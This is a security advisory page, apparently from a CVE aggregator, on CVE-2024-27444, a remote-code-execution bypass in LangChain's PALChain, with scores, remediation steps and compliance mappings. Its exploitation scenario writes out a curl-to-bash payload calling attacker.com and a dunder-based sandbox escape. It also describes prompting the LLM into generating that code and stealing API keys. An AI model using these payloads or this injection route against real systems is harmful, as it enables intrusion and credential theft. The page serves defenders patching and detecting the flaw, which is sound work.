CVE-2024-27444: LangChain RCE — CRITICAL

CISO Take

CVE-2024-27444 is a critical RCE in LangChain's PALChain component that fully bypasses the prior patch for CVE-2023-44467 — a patch bypass on a known critical is a top priority. Any application using langchain-experimental for Python code generation and execution is exploitable by unauthenticated remote attackers with no user interaction required. Upgrade to langchain-experimental >= 0.1.8 immediately; if patching is blocked, disable PALChain entirely and isolate any LangChain workloads in hardened containers with no network egress.

What is the risk?

Severity is critical with CVSS 9.8 (AV:N/AC:L/PR:N/UI:N). The attack complexity is trivial — Python's dunder attribute escape techniques (__import__, __subclasses__, etc.) are well-documented and widely used in CTF and red team toolkits. The fact that this is a bypass of a prior fix (CVE-2023-44467) signals that the original patch was narrowly scoped and the root cause was not properly addressed. LangChain is pervasive in AI agent deployments, expanding the blast radius significantly. No evidence of active KEV listing as of enrichment date, but the low barrier to exploitation means weaponization is likely.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
LangChain	pip	—	No patch
139.8K OpenSSF 5.9 2.7K dependents Pushed 2d ago 24% patched ~156d to patch Full package profile →

Do you use LangChain? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

0.8%

chance of exploitation in 30 days

Higher than 51% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

PATCH

Upgrade langchain-experimental to >= 0.1.8 immediately. Verify via pip show langchain-experimental.
WORKAROUND

If patching is not immediately possible, audit all code for PALChain usage and disable it — replace with a sandboxed code execution environment (e.g., E2B, Docker subprocess with seccomp).
ISOLATE

Run all LangChain workloads in containers with no-new-privileges, dropped capabilities, and read-only filesystems. Block outbound network from the container unless strictly required.
DETECT

Search application logs for PALChain invocations containing __import__, __subclasses__, __builtins__, __globals__, __mro__, __base__, or __bases__. Instrument PALChain inputs/outputs with a WAF or input validation layer.
INVENTORY

Identify all internal services using langchain-experimental via SBOM or dependency scanning (Dependabot, Snyk, Grype).

What does CISA's SSVC say?

Decision Track*

Exploitation none

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Supply Chain Framework Agent AML.T0010.001 - AI Software AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6 - Security of AI System

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place to respond to AI risk.

OWASP LLM Top 10

LLM02 - Insecure Output Handling LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2024-27444?

CVE-2024-27444 is a critical RCE in LangChain's PALChain component that fully bypasses the prior patch for CVE-2023-44467 — a patch bypass on a known critical is a top priority. Any application using langchain-experimental for Python code generation and execution is exploitable by unauthenticated remote attackers with no user interaction required. Upgrade to langchain-experimental >= 0.1.8 immediately; if patching is blocked, disable PALChain entirely and isolate any LangChain workloads in hardened containers with no network egress.

Is CVE-2024-27444 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-27444, increasing the risk of exploitation.

How to fix CVE-2024-27444?

1. PATCH: Upgrade langchain-experimental to >= 0.1.8 immediately. Verify via `pip show langchain-experimental`. 2. WORKAROUND: If patching is not immediately possible, audit all code for PALChain usage and disable it — replace with a sandboxed code execution environment (e.g., E2B, Docker subprocess with seccomp). 3. ISOLATE: Run all LangChain workloads in containers with no-new-privileges, dropped capabilities, and read-only filesystems. Block outbound network from the container unless strictly required. 4. DETECT: Search application logs for PALChain invocations containing `__import__`, `__subclasses__`, `__builtins__`, `__globals__`, `__mro__`, `__base__`, or `__bases__`. Instrument PALChain inputs/outputs with a WAF or input validation layer. 5. INVENTORY: Identify all internal services using langchain-experimental via SBOM or dependency scanning (Dependabot, Snyk, Grype).

What systems are affected by CVE-2024-27444?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM pipelines with code execution, RAG pipelines with code generation, AI-powered developer tools.

What is the CVSS score for CVE-2024-27444?

CVE-2024-27444 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.77%.

What is the AI security impact?

Affected AI Architectures

agent frameworksLLM pipelines with code executionRAG pipelines with code generationAI-powered developer tools

MITRE ATLAS Techniques

AML.T0010.001 AI Software

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM02, LLM07

What are the technical details?

Original Advisory

langchain_experimental (aka LangChain Experimental) in LangChain before 0.1.8 allows an attacker to bypass the CVE-2023-44467 fix and execute arbitrary code via the __import__, __subclasses__, __builtins__, __globals__, __getattribute__, __bases__, __mro__, or __base__ attribute in Python code. These are not prohibited by pal_chain/base.py.

Exploitation Scenario

An adversary targeting an AI-powered application — such as a coding assistant, data analysis chatbot, or AI agent with tool-use — identifies that the backend uses LangChain's PALChain for natural language to code translation. The attacker crafts an input prompt that instructs the LLM to generate Python code leveraging `__import__('os').system('curl attacker.com/shell.sh | bash')` or uses `().__class__.__mro__[-1].__subclasses__()` to locate and invoke `subprocess.Popen` from the builtins. PALChain's base.py executes this code without blocking the restricted attributes, granting the attacker a remote shell on the host. From there the attacker pivots to exfiltrate Anthropic/OpenAI API keys from environment variables, access internal vector databases, or move laterally within the cloud environment.

Weaknesses (CWE)

CWE-749 Exposed Dangerous Method or Function

CWE-749 — Exposed Dangerous Method or Function: The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

[Architecture and Design] If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.
[Architecture and Design, Implementation] Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting. accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all

Source: MITRE CWE corpus.